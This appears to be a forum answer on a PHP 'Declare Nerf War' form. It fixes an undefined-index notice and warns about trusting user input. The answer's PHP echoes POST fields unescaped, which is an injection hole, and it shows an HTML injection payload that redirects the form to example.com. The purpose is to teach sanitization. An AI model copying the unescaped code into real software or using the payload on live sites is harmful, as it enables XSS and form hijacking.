As an additional safety tip, DO NOT EVER print something without sanitizing it.
-- edit --
When writing any code that can accept user submitted content, you need to bear in mind that user content can never be trusted. Malicious users can submit specially crafted data that could allow them to gain access to your application, the end user's computer, or much more.
One way to reduce (or control) the threat is to do the following:
- Validate the data: Make sure that the type of data matches what you expect for a field (number, text, email, etc).
- Sanitize the data: Perform some cleanup to remove undesirable things contained in the data.
- Validate the legitimacy of the form (Optional but recommended): If applicable, ensure that the code is being submitted by a form that was truly generated by your web site and use CAPTCHA to prevent automated content submission when possible.
- Escape the data: When displaying the data or passing it on to other systems (database, api call, etc.), make sure that you escape the received data so that it does not negatively after those systems.
You can get more information about doing these things and much more using a simple Google search. You can also look at PHP Sanitize filters
Now going back to the actual code that was used in the original question.
I have taken the liberty to print the form below the declaration of war so that you can declare even more wars if you wish.
The code looks like the following ...
<!DOCTYPE HTML>
<html>
<head>
<title>Declare Nerf War!</title>
</head>
<body>
<?php
$form="<center><form action='decwargen.php' method='POST'>
Your Name: <input type='text' name='yname' placeholder='John Doe'><br>
Opponent's Name: <input type='text' name='oname' placeholder='Jane Doe'><br>
Why? <input type='text' name='why' placeholder='for stealing my stuff'><br>
Date of war: <input type='text' name='dwar' placeholder='10/11/13'><br>
Time of war: <input type='text' name='twar' placeholder='10:56 PM'><br>
Created on: <input type='text' name='crtd' placeholder='10/10/13'><br>
<input type='submit' name='subbut' value='Submit'></center>
</form>";
$ok = $_POST['subbut'] ?? false;
if($ok){
$yname = $_POST['yname'];
$oname = $_POST['oname'];
$why = $_POST['why'];
$dwar = $_POST['dwar'];
$twar = $_POST['twar'];
$created = $_POST['crtd'];
echo "<center><h1>Declaration of war</h1><br><p contenteditable='true'>I, " . $yname . " declare war on " . $oname . " for/because " . $why . ". This will happen on " . $dwar . " at " . $twar . ".<br>Created on " . $created;
};
?>
<hr>
<?php echo $form; ?>
</body>
</html>
I realize that the question was originally asked in 2013. Still, I am going to solve the Notice: Undefined index: subbut ...
using a more modern PHP feature.
I would replace ...
<?php
$ok = $_POST ['subbut'];
with ...
<?php
$ok = $_POST['subbut'] ?? false;
You can find out more about the new PHP Null coalescing operator (the Elvis operator ??) at http://php.net/manual/en/language.operators.comparison.php#example-105
When you submit and declaration of war, you will have something similar to the following image ...

HTML Injection
Now, you are going to see what happens with your form when someone performs a simple HTML injection on your page.
Instead of submitting the name as John Doe, I am going to submit John Doe</form><form action="http://example.com" target="_blank"><input value="You got hacked">
The result is visible on the following image ...

If you try to submit another declaration, you will notice that the form will be submitted to the example.com domain. That's because:
- The
</form>
tag will try to close the current form in case the submitted value was printed inside a form. If there was no form to close off, than the tag will be invalid and the browser will ignore it.
- Then, my new form is added using
<form action="http://example.com" target="_blank">
. Browsers will usually reject a nested form tag. Because of this, my form will take over the next form by invalidating its opening tag.
Someone could argue by saying that the original example was not printing a form. Sure. But that does not change what I am trying to convey.
Instead of creating a form, I could have injected a tag what would load an elaborate Javascript application that would then run on your site's domain and do whatever is possible using Javascript. I could have also added an iframe or other things.
The bottom line is, do not use or directly print anything submitted to your script. Heck, you cannot even trust content coming for your own database because you don't know if it's been altered by someone else. You still need do perform some clean up to guard against XSS and CSRF using the data.